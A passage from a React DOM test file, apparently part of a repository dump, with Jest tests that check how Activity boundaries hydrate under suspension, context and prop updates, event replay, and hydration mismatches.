update, but leave it still suspended.\n    await act(() => {\n      root.render(<App text=\"Hi\" className=\"hi\" />);\n    });\n\n    // Flushing now should hide the existing content and show the fallback.\n\n    expect(outerRef.current).toBe(null);\n    expect(div.style.display).toBe('none');\n    expect(container.getElementsByTagName('span').length).toBe(1); // hidden\n    expect(ref.current).toBe(null);\n    expect(container.textContent).toBe('HelloLoading...');\n\n    // Unsuspending shows the content.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    const span = container.getElementsByTagName('span')[0];\n    expect(span.textContent).toBe('Hi');\n    expect(span.className).toBe('hi');\n    expect(ref.current).toBe(span);\n    expect(container.textContent).toBe('Hi');\n  });\n\n  it('clears nested activity boundaries if they did not hydrate yet', async () => {\n    let suspend = false;\n    const promise = new Promise(() => {});\n    const ref = React.createRef();\n\n    function Child({text}) {\n      if (suspend && text !== 'Hi') {\n        throw promise;\n      } else {\n        return text;\n      }\n    }\n\n    function App({text, className}) {\n      return (\n        <div>\n          <Activity>\n            <Activity>\n              <Child text={text} />\n            </Activity>{' '}\n            <span ref={ref} className={className}>\n              <Child text={text} />\n            </span>\n          </Activity>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <App text=\"Hello\" className=\"hello\" />,\n      {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      },\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n\n    // Render an update, that unblocks.\n    // Flushing now should delete the existing content and show the update.\n    await act(() => {\n      root.render(<App text=\"Hi\" className=\"hi\" />);\n    });\n\n    const span = container.getElementsByTagName('span')[0];\n    expect(span.textContent).toBe('Hi');\n    expect(span.className).toBe('hi');\n    expect(ref.current).toBe(span);\n    expect(container.textContent).toBe('Hi Hi');\n  });\n\n  it('hydrates first if props changed but we are able to resolve within a timeout', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return text;\n      }\n    }\n\n    function App({text, className}) {\n      return (\n        <div>\n          <Activity>\n            <span ref={ref} className={className}>\n              <Child text={text} />\n            </span>\n          </Activity>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n    expect(container.textContent).toBe('Hello');\n\n    // Render an update with a long timeout.\n    React.startTransition(() => root.render(<App text=\"Hi\" className=\"hi\" />));\n    // This shouldn't force the fallback yet.\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n    expect(container.textContent).toBe('Hello');\n\n    // Resolving the promise so that rendering can complete.\n    // This should first complete the hydration and then flush the update onto the hydrated state.\n    suspend = false;\n    await act(() => resolve());\n\n    // The new span should be the same since we should have successfully hydrated\n    // before changing it.\n    const newSpan = container.getElementsByTagName('span')[0];\n    expect(span).toBe(newSpan);\n\n    // We should now have fully rendered with a ref on the new span.\n    expect(ref.current).toBe(span);\n    expect(container.textContent).toBe('Hi');\n    // If we ended up hydrating the existing content, we won't have properly\n    // patched up the tree, which might mean we haven't patched the className.\n    expect(span.className).toBe('hi');\n  });\n\n  it('warns but works if setState is called before commit in a dehydrated component', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    let updateText;\n\n    function Child() {\n      const [state, setState] = React.useState('Hello');\n      updateText = setState;\n      Scheduler.log('Child');\n      if (suspend) {\n        throw promise;\n      } else {\n        return state;\n      }\n    }\n\n    function Sibling() {\n      Scheduler.log('Sibling');\n      return null;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Activity>\n            <Child />\n            <Sibling />\n          </Activity>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    assertLog(['Child', 'Sibling']);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    ReactDOMClient.hydrateRoot(\n      container,\n      <App text=\"Hello\" className=\"hello\" />,\n    );\n\n    await act(async () => {\n      suspend = true;\n      await waitFor(['Child']);\n\n      // While we're part way through the hydration, we update the state.\n      // This will schedule an update on the children of the activity boundary.\n      updateText('Hi');\n      assertConsoleErrorDev([\n        \"Can't perform a React state update on a component that hasn't mounted yet. \" +\n          'This indicates that you have a side-effect in your render function that ' +\n          'asynchronously tries to update the component. Move this work to useEffect instead.\\n' +\n          '    in App (at **)',\n      ]);\n\n      // This will throw it away and rerender.\n      await waitForAll(['Child']);\n\n      expect(container.textContent).toBe('Hello');\n\n      suspend = false;\n      resolve();\n      await promise;\n    });\n    assertLog(['Child', 'Sibling']);\n\n    expect(container.textContent).toBe('Hello');\n  });\n\n  it('blocks the update to hydrate first if context has changed', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n    const Context = React.createContext(null);\n\n    function Child() {\n      const {text, className} = React.useContext(Context);\n      if (suspend) {\n        throw promise;\n      } else {\n        return (\n          <span ref={ref} className={className}>\n            {text}\n          </span>\n        );\n      }\n    }\n\n    const App = React.memo(function App() {\n      return (\n        <div>\n          <Activity>\n            <Child />\n          </Activity>\n        </div>\n      );\n    });\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <Context.Provider value={{text: 'Hello', className: 'hello'}}>\n        <App />\n      </Context.Provider>,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <Context.Provider value={{text: 'Hello', className: 'hello'}}>\n        <App />\n      </Context.Provider>,\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n    expect(span.textContent).toBe('Hello');\n\n    // Render an update, which will be higher or the same priority as pinging the hydration.\n    root.render(\n      <Context.Provider value={{text: 'Hi', className: 'hi'}}>\n        <App />\n      </Context.Provider>,\n    );\n\n    // At the same time, resolving the promise so that rendering can complete.\n    // This should first complete the hydration and then flush the update onto the hydrated state.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    // Since this should have been hydrated, this should still be the same span.\n    const newSpan = container.getElementsByTagName('span')[0];\n    expect(newSpan).toBe(span);\n\n    // We should now have fully rendered with a ref on the new span.\n    expect(ref.current).toBe(span);\n    expect(span.textContent).toBe('Hi');\n    // If we ended up hydrating the existing content, we won't have properly\n    // patched up the tree, which might mean we haven't patched the className.\n    expect(span.className).toBe('hi');\n  });\n\n  it('shows the parent fallback if context has changed before hydration completes and is still suspended', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n    const Context = React.createContext(null);\n\n    function Child() {\n      const {text, className} = React.useContext(Context);\n      if (suspend) {\n        throw promise;\n      } else {\n        return (\n          <span ref={ref} className={className}>\n            {text}\n          </span>\n        );\n      }\n    }\n\n    const App = React.memo(function App() {\n      return (\n        <Suspense fallback=\"Loading...\">\n          <div>\n            <Activity>\n              <Child />\n            </Activity>\n          </div>\n        </Suspense>\n      );\n    });\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <Context.Provider value={{text: 'Hello', className: 'hello'}}>\n        <App />\n      </Context.Provider>,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <Context.Provider value={{text: 'Hello', className: 'hello'}}>\n        <App />\n      </Context.Provider>,\n      {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      },\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n\n    // Render an update, but leave it still suspended.\n    // Flushing now should delete the existing content and show the fallback.\n    await act(() => {\n      root.render(\n        <Context.Provider value={{text: 'Hi', className: 'hi'}}>\n          <App />\n        </Context.Provider>,\n      );\n    });\n\n    expect(container.getElementsByTagName('span').length).toBe(1); // hidden\n    expect(ref.current).toBe(null);\n    expect(container.textContent).toBe('HelloLoading...');\n\n    // Unsuspending shows the content.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    const span = container.getElementsByTagName('span')[0];\n    expect(span.textContent).toBe('Hi');\n    expect(span.className).toBe('hi');\n    expect(ref.current).toBe(span);\n    expect(container.textContent).toBe('Hi');\n  });\n\n  it('can hydrate TWO activity boundaries', async () => {\n    const ref1 = React.createRef();\n    const ref2 = React.createRef();\n\n    function App() {\n      return (\n        <div>\n          <Activity>\n            <span ref={ref1}>1</span>\n          </Activity>\n          <Activity>\n            <span ref={ref2}>2</span>\n          </Activity>\n        </div>\n      );\n    }\n\n    // First we render the final HTML. With the streaming renderer\n    // this may have suspense points on the server but here we want\n    // to test the completed HTML. Don't suspend on the server.\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span1 = container.getElementsByTagName('span')[0];\n    const span2 = container.getElementsByTagName('span')[1];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n\n    expect(ref1.current).toBe(span1);\n    expect(ref2.current).toBe(span2);\n  });\n\n  it('regenerates if it cannot hydrate before changes to props/context expire', async () => {\n    let suspend = false;\n    const promise = new Promise(resolvePromise => {});\n    const ref = React.createRef();\n    const ClassName = React.createContext(null);\n\n    function Child({text}) {\n      const className = React.useContext(ClassName);\n      if (suspend && className !== 'hi' && text !== 'Hi') {\n        // Never suspends on the newer data.\n        throw promise;\n      } else {\n        return (\n          <span ref={ref} className={className}>\n            {text}\n          </span>\n        );\n      }\n    }\n\n    function App({text, className}) {\n      return (\n        <div>\n          <Activity>\n            <Child text={text} />\n          </Activity>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(\n      <ClassName.Provider value={'hello'}>\n        <App text=\"Hello\" />\n      </ClassName.Provider>,\n    );\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <ClassName.Provider value={'hello'}>\n        <App text=\"Hello\" />\n      </ClassName.Provider>,\n      {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      },\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n    expect(span.textContent).toBe('Hello');\n\n    // Render an update, which will be higher or the same priority as pinging the hydration.\n    // The new update doesn't suspend.\n    // Since we're still suspended on the original data, we can't hydrate.\n    // This will force all expiration times to flush.\n    await act(() => {\n      root.render(\n        <ClassName.Provider value={'hi'}>\n          <App text=\"Hi\" />\n        </ClassName.Provider>,\n      );\n    });\n\n    // This will now be a new span because we weren't able to hydrate before\n    const newSpan = container.getElementsByTagName('span')[0];\n    expect(newSpan).not.toBe(span);\n\n    // We should now have fully rendered with a ref on the new span.\n    expect(ref.current).toBe(newSpan);\n    expect(newSpan.textContent).toBe('Hi');\n    // If we ended up hydrating the existing content, we won't have properly\n    // patched up the tree, which might mean we haven't patched the className.\n    expect(newSpan.className).toBe('hi');\n  });\n\n  it('does not invoke an event on a hydrated node until it commits', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Sibling({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    let clicks = 0;\n\n    function Button() {\n      const [clicked, setClicked] = React.useState(false);\n      if (clicked) {\n        return null;\n      }\n      return (\n        <a\n          onClick={() => {\n            setClicked(true);\n            clicks++;\n          }}>\n          Click me\n        </a>\n      );\n    }\n\n    function App() {\n      return (\n        <div>\n          <Activity>\n            <Button />\n            <Sibling />\n          </Activity>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const a = container.getElementsByTagName('a')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n\n    expect(container.textContent).toBe('Click meHello');\n\n    // We're now partially hydrated.\n    await act(() => {\n      a.click();\n    });\n    expect(clicks).toBe(0);\n\n    // Resolving the promise so that rendering can complete.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(clicks).toBe(0);\n    expect(container.textContent).toBe('Click meHello');\n\n    document.body.removeChild(container);\n  });\n\n  // @gate www\n  it('does not invoke an event on a hydrated event handle until it commits', async () => {\n    const setClick = ReactDOM.unstable_createEventHandle('click');\n    let suspend = false;\n    let isServerRendering = true;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Sibling({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    const onEvent = jest.fn();\n\n    function Button() {\n      const ref = React.useRef(null);\n      if (!isServerRendering) {\n        React.useLayoutEffect(() => {\n          return setClick(ref.current, onEvent);\n        });\n      }\n      return <a ref={ref}>Click me</a>;\n    }\n\n    function App() {\n      return (\n        <div>\n          <Activity>\n            <Button />\n            <Sibling />\n          </Activity>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const a = container.getElementsByTagName('a')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    isServerRendering = false;\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // We'll do one click before hydrating.\n    a.click();\n    // This should be delayed.\n    expect(onEvent).toHaveBeenCalledTimes(0);\n\n    await waitForAll([]);\n\n    // We're now partially hydrated.\n    await act(() => {\n      a.click();\n    });\n    // We should not have invoked the event yet because we're not\n    // yet hydrated.\n    expect(onEvent).toHaveBeenCalledTimes(0);\n\n    // Resolving the promise so that rendering can complete.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(onEvent).toHaveBeenCalledTimes(0);\n\n    document.body.removeChild(container);\n  });\n\n  it('invokes discrete events on nested activity boundaries in a root (legacy system)', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    let clicks = 0;\n\n    function Button() {\n      return (\n        <a\n          onClick={() => {\n            clicks++;\n          }}>\n          Click me\n        </a>\n      );\n    }\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return (\n          <Activity>\n            <Button />\n          </Activity>\n        );\n      }\n    }\n\n    function App() {\n      return (\n        <Activity>\n          <Child />\n        </Activity>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const a = container.getElementsByTagName('a')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // We'll do one click before hydrating.\n    await act(() => {\n      a.click();\n    });\n    // This should be delayed.\n    expect(clicks).toBe(0);\n\n    await waitForAll([]);\n\n    // We're now partially hydrated.\n    await act(() => {\n      a.click();\n    });\n    expect(clicks).toBe(0);\n\n    // Resolving the promise so that rendering can complete.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(clicks).toBe(0);\n\n    document.body.removeChild(container);\n  });\n\n  // @gate www\n  it('invokes discrete events on nested activity boundaries in a root (createEventHandle)', async () => {\n    let suspend = false;\n    let isServerRendering = true;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    const onEvent = jest.fn();\n    const setClick = ReactDOM.unstable_createEventHandle('click');\n\n    function Button() {\n      const ref = React.useRef(null);\n\n      if (!isServerRendering) {\n        React.useLayoutEffect(() => {\n          return setClick(ref.current, onEvent);\n        });\n      }\n\n      return <a ref={ref}>Click me</a>;\n    }\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        return (\n          <Activity>\n            <Button />\n          </Activity>\n        );\n      }\n    }\n\n    function App() {\n      return (\n        <Activity>\n          <Child />\n        </Activity>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const a = container.getElementsByTagName('a')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    isServerRendering = false;\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    // We'll do one click before hydrating.\n    a.click();\n    // This should be delayed.\n    expect(onEvent).toHaveBeenCalledTimes(0);\n\n    await waitForAll([]);\n\n    // We're now partially hydrated.\n    await act(() => {\n      a.click();\n    });\n    // We should not have invoked the event yet because we're not\n    // yet hydrated.\n    expect(onEvent).toHaveBeenCalledTimes(0);\n\n    // Resolving the promise so that rendering can complete.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(onEvent).toHaveBeenCalledTimes(0);\n\n    document.body.removeChild(container);\n  });\n\n  it('does not invoke the parent of dehydrated boundary event', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    let clicksOnParent = 0;\n    let clicksOnChild = 0;\n\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return (\n          <span\n            onClick={e => {\n              // The stopPropagation is showing an example why invoking\n              // the event on only a parent might not be correct.\n              e.stopPropagation();\n              clicksOnChild++;\n            }}>\n            Hello\n          </span>\n        );\n      }\n    }\n\n    function App() {\n      return (\n        <div onClick={() => clicksOnParent++}>\n          <Activity>\n            <Child />\n          </Activity>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const span = container.getElementsByTagName('span')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n\n    // We're now partially hydrated.\n    await act(() => {\n      span.click();\n    });\n    expect(clicksOnChild).toBe(0);\n    expect(clicksOnParent).toBe(0);\n\n    // Resolving the promise so that rendering can complete.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(clicksOnChild).toBe(0);\n    expect(clicksOnParent).toBe(0);\n\n    document.body.removeChild(container);\n  });\n\n  it('does not invoke an event on a parent tree when a subtree is dehydrated', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    let clicks = 0;\n    const childSlotRef = React.createRef();\n\n    function Parent() {\n      return <div onClick={() => clicks++} ref={childSlotRef} />;\n    }\n\n    function Child({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return <a>Click me</a>;\n      }\n    }\n\n    function App() {\n      // The root is a Suspense boundary.\n      return (\n        <Activity>\n          <Child />\n        </Activity>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n\n    const parentContainer = document.createElement('div');\n    const childContainer = document.createElement('div');\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(parentContainer);\n\n    // We're going to use a different root as a parent.\n    // This lets us detect whether an event goes through React's event system.\n    const parentRoot = ReactDOMClient.createRoot(parentContainer);\n    await act(() => parentRoot.render(<Parent />));\n\n    childSlotRef.current.appendChild(childContainer);\n\n    childContainer.innerHTML = finalHTML;\n\n    const a = childContainer.getElementsByTagName('a')[0];\n\n    suspend = true;\n\n    // Hydrate asynchronously.\n    await act(() => ReactDOMClient.hydrateRoot(childContainer, <App />));\n\n    // The Suspense boundary is not yet hydrated.\n    await act(() => {\n      a.click();\n    });\n    expect(clicks).toBe(0);\n\n    // Resolving the promise so that rendering can complete.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    expect(clicks).toBe(0);\n\n    document.body.removeChild(parentContainer);\n  });\n\n  it('blocks only on the last continuous event (legacy system)', async () => {\n    let suspend1 = false;\n    let resolve1;\n    const promise1 = new Promise(resolvePromise => (resolve1 = resolvePromise));\n    let suspend2 = false;\n    let resolve2;\n    const promise2 = new Promise(resolvePromise => (resolve2 = resolvePromise));\n\n    function First({text}) {\n      if (suspend1) {\n        throw promise1;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    function Second({text}) {\n      if (suspend2) {\n        throw promise2;\n      } else {\n        return 'World';\n      }\n    }\n\n    const ops = [];\n\n    function App() {\n      return (\n        <div>\n          <Activity>\n            <span\n              onMouseEnter={() => ops.push('Mouse Enter First')}\n              onMouseLeave={() => ops.push('Mouse Leave First')}\n            />\n            {/* We suspend after to test what happens when we eager\n                attach the listener. */}\n            <First />\n          </Activity>\n          <Activity>\n            <span\n              onMouseEnter={() => ops.push('Mouse Enter Second')}\n              onMouseLeave={() => ops.push('Mouse Leave Second')}>\n              <Second />\n            </span>\n          </Activity>\n        </div>\n      );\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const appDiv = container.getElementsByTagName('div')[0];\n    const firstSpan = appDiv.getElementsByTagName('span')[0];\n    const secondSpan = appDiv.getElementsByTagName('span')[1];\n    expect(firstSpan.textContent).toBe('');\n    expect(secondSpan.textContent).toBe('World');\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend1 = true;\n    suspend2 = true;\n    ReactDOMClient.hydrateRoot(container, <App />);\n\n    await waitForAll([]);\n\n    dispatchMouseEvent(appDiv, null);\n    dispatchMouseEvent(firstSpan, appDiv);\n    dispatchMouseEvent(secondSpan, firstSpan);\n\n    // Neither target is yet hydrated.\n    expect(ops).toEqual([]);\n\n    // Resolving the second promise so that rendering can complete.\n    suspend2 = false;\n    resolve2();\n    await promise2;\n\n    await waitForAll([]);\n\n    // We've unblocked the current hover target so we should be\n    // able to replay it now.\n    expect(ops).toEqual(['Mouse Enter Second']);\n\n    // Resolving the first promise has no effect now.\n    suspend1 = false;\n    resolve1();\n    await promise1;\n\n    await waitForAll([]);\n\n    expect(ops).toEqual(['Mouse Enter Second']);\n\n    document.body.removeChild(container);\n  });\n\n  it('finishes normal pri work before continuing to hydrate a retry', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n    const ref = React.createRef();\n\n    function Child() {\n      if (suspend) {\n        throw promise;\n      } else {\n        Scheduler.log('Child');\n        return 'Hello';\n      }\n    }\n\n    function Sibling() {\n      Scheduler.log('Sibling');\n      React.useLayoutEffect(() => {\n        Scheduler.log('Commit Sibling');\n      });\n      return 'World';\n    }\n\n    // Avoid rerendering the tree by hoisting it.\n    const tree = (\n      <Activity>\n        <span ref={ref}>\n          <Child />\n        </span>\n      </Activity>\n    );\n\n    function App({showSibling}) {\n      return (\n        <div>\n          {tree}\n          {showSibling ? <Sibling /> : null}\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    assertLog(['Child']);\n\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    suspend = true;\n    const root = ReactDOMClient.hydrateRoot(\n      container,\n      <App showSibling={false} />,\n    );\n    await waitForAll([]);\n\n    expect(ref.current).toBe(null);\n    expect(container.textContent).toBe('Hello');\n\n    // Resolving the promise should continue hydration\n    suspend = false;\n    resolve();\n    await promise;\n\n    Scheduler.unstable_advanceTime(100);\n\n    // Before we have a chance to flush it, we'll also render an update.\n    root.render(<App showSibling={true} />);\n\n    // When we flush we expect the Normal pri render to take priority\n    // over hydration.\n    await waitFor(['Sibling', 'Commit Sibling']);\n\n    // We shouldn't have hydrated the child yet.\n    expect(ref.current).toBe(null);\n    // But we did have a chance to update the content.\n    expect(container.textContent).toBe('HelloWorld');\n\n    await waitForAll(['Child']);\n\n    // Now we're hydrated.\n    expect(ref.current).not.toBe(null);\n  });\n\n  it('regression test: does not overfire non-bubbling browser events', async () => {\n    let suspend = false;\n    let resolve;\n    const promise = new Promise(resolvePromise => (resolve = resolvePromise));\n\n    function Sibling({text}) {\n      if (suspend) {\n        throw promise;\n      } else {\n        return 'Hello';\n      }\n    }\n\n    let submits = 0;\n\n    function Form() {\n      const [submitted, setSubmitted] = React.useState(false);\n      if (submitted) {\n        return null;\n      }\n      return (\n        <form\n          onSubmit={() => {\n            setSubmitted(true);\n            submits++;\n          }}>\n          Click me\n        </form>\n      );\n    }\n\n    function App() {\n      return (\n        <div>\n          <Activity>\n            <Form />\n            <Sibling />\n          </Activity>\n        </div>\n      );\n    }\n\n    suspend = false;\n    const finalHTML = ReactDOMServer.renderToString(<App />);\n    const container = document.createElement('div');\n    container.innerHTML = finalHTML;\n\n    // We need this to be in the document since we'll dispatch events on it.\n    document.body.appendChild(container);\n\n    const form = container.getElementsByTagName('form')[0];\n\n    // On the client we don't have all data yet but we want to start\n    // hydrating anyway.\n    suspend = true;\n    ReactDOMClient.hydrateRoot(container, <App />);\n    await waitForAll([]);\n\n    expect(container.textContent).toBe('Click meHello');\n\n    // We're now partially hydrated.\n    await act(() => {\n      form.dispatchEvent(\n        new window.Event('submit', {\n          bubbles: true,\n        }),\n      );\n    });\n    expect(submits).toBe(0);\n\n    // Resolving the promise so that rendering can complete.\n    await act(async () => {\n      suspend = false;\n      resolve();\n      await promise;\n    });\n\n    // discrete event not replayed\n    expect(submits).toBe(0);\n    expect(container.textContent).toBe('Click meHello');\n\n    document.body.removeChild(container);\n  });\n\n  it('fallback to client render on hydration mismatch at root', async () => {\n    let suspend = true;\n    let resolve;\n    const promise = new Promise((res, rej) => {\n      resolve = () => {\n        suspend = false;\n        res();\n      };\n    });\n    function App({isClient}) {\n      return (\n        <>\n          <Activity>\n            <ChildThatSuspends id={1} isClient={isClient} />\n          </Activity>\n          {isClient ? <span>client</span> : <div>server</div>}\n          <Activity>\n            <ChildThatSuspends id={2} isClient={isClient} />\n          </Activity>\n        </>\n      );\n    }\n    function ChildThatSuspends({id, isClient}) {\n      if (isClient && suspend) {\n        throw promise;\n      }\n      return <div>{id}</div>;\n    }\n\n    const finalHTML = ReactDOMServer.renderToString(<App isClient={false} />);\n\n    const container = document.createElement('div');\n    document.body.appendChild(container);\n    container.innerHTML = finalHTML;\n\n    await act(() => {\n      ReactDOMClient.hydrateRoot(container, <App isClient={true} />, {\n        onRecoverableError(error) {\n          Scheduler.log('onRecoverableError: ' + normalizeError(error.message));\n          if (error.cause) {\n            Scheduler.log('Cause: ' + normalizeError(error.cause.message));\n          }\n        },\n      });\n    });\n\n    // We suspend the root while we wait for the promises to resolve, leaving the\n    // existing content in place.\n    expect(container.innerHTML).toEqual(\n      '<!--&--><div>1</div><!--/&--><div>server</div><!--&--><div>2</div><!--/&-->',\n    );\n\n    await act(async () => {\n      resolve();\n      await promise;\n    });\n\n    assertLog([\n      \"onRecoverableError: Hydration failed because the server rendered HTML didn't match the client.\",\n    ]);\n\n    expect(container.innerHTML).toEqual(\n      '<div>1</div><span>client</span><div>2</div>',\n    );\n  });\n});\n"
  },
  {
    "path": "packages/react-dom/src/__tests__/ReactDOMServerSelectiveHydration-test.internal.js",
